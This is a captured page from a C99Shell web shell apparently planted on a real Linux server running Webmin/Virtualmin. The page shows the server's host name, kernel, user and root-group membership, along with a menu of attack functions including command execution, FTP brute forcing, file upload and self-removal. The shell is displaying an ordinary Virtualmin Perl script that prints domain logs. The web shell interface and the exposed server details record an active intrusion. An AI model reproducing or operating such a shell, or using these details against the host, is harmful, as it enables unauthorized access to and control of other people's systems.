!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/usr/share/webmin/virtual-server/   drwxrwxr-x
Free 28.64 GB of 117.98 GB (24.28%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     get-logs.pl (2.26 KB)      -rwxrwxr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

=head1 get-logs.pl

Output webserver logs for a domain.

Given a domain name with the C<--domain> flag, this command outputs some or
all of it's Apache access or error log. The log file to display can be
selected with the C<--access-log>, C<--error-log> or C<--ftp-log> flag,
and the number of lines to output can be limited with the C<--tail> flag
followed by a line count.

=cut

package virtual_server;
if (!$module_name) {
    $main::no_acl_check++;
    $ENV{'WEBMIN_CONFIG'} ||= "/etc/webmin";
    $ENV{'WEBMIN_VAR'} ||= "/var/webmin";
    if ($0 =~ /^(.*)\/[^\/]+$/) {
        chdir($pwd = $1);
        }
    else {
        chop($pwd = `pwd`);
        }
    $0 = "$pwd/get-ssl.pl";
    require './virtual-server-lib.pl';
    $< == 0 || die "get-ssl.pl must be run as root";
    }

# Parse command line
$logtype = "alog";
while(@ARGV > 0) {
    local $a = shift(@ARGV);
    if ($a eq "--domain") {
        $dname = shift(@ARGV);
        }
    elsif ($a eq "--multiline") {
        $multiline = 1;
        }
    elsif ($a eq "--access-log") {
        $logtype = "alog";
        }
    elsif ($a eq "--error-log") {
        $logtype = "elog";
        }
    elsif ($a eq "--ftp-log") {
        $logtype = "flog";
        }
    elsif ($a eq "--tail") {
        $lines = int(shift(@ARGV));
        }
    elsif ($a eq "--help") {
        &usage();
        }
    else {
        &usage("Unknown parameter $a");
        }
    }

# Validate inputs and get the domain
$dname || &usage("Missing --domain parameter");
$d = &get_domain_by("dom", $dname);
$d || &usage("Virtual server $dname does not exist");

# Find the log file
if ($logtype eq "alog" || $logtype eq "elog") {
    &domain_has_website($d) ||
        &usage("Virtual server does not have a website");
    $logfile = &get_website_log($d, $logtype eq "elog" ? 1 : 0);
    }
elsif ($logtype eq "flog") {
    $d->{'ftp'} || &usage("Virtual server does not have FTP enabled");
    $logfile = &get_proftpd_log($d);
    }
$logfile || &usage("Log file not found!");

# Print it out
if ($lines) {
    &open_execute_command(LOG, "tail -".quotemeta($lines)." ".
                        quotemeta($logfile));
    }
else {
    &open_readfile(LOG, $logfile);
    }
while(<LOG>) {
    print $_;
    }
close(LOG);

sub usage
{
print "$_[0]\n\n" if ($_[0]);
print "Output webserver logs for a domain.\n";
print "\n";
print "virtualmin get-logs --domain name\n";
print "                    --access-log | --error-log | --ftp-log\n";
print "                   [--tail lines]\n";
exit(1);
}


:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0039 ]--